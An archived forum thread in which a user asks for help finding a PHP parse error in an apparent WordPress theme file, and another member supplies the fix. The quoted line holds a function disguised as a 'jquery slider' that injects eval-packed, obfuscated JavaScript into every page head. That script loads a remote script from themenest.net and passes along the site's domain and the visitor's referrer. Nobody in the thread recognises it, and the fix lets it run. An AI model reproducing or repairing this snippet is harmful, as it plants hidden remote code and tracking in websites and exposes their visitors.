...

View Full Version : Simple Parse Error }, Help to Find It.



sfyardie
10-19-2012, 07:07 PM
Received this error, Parse error: syntax error, unexpected '}' in **** on line 683
It is a simple Parse error, but cannot find it. Hoping one of you forum members have better luck. Line 683 below and full php file attached. Would love a response as soon as possible.

?><?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|tra ck|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?>

sfyardie
10-19-2012, 07:35 PM
The bit "?>" after insert_jquery_slider should be removed? The final php tag has the opening brace the wrong way.
And several close braces are missing?
Other aspects of the code are not fully incorrect; does not cause php file to not work. The topic searching for is Parse Error, nice observations though.

tangoforce
10-19-2012, 08:40 PM
<?php}add_action(

You must have a space between <?php and }.

sfyardie
10-20-2012, 01:36 AM
<?php}add_action(

You must have a space between <?php and }.

Good job tangoforce, That error occurred twice on 683 and 684. Simple errors cause the most headaches. Thanks



EZ Archive Ads Plugin for vBulletin Copyright 2006 Computer Help Forum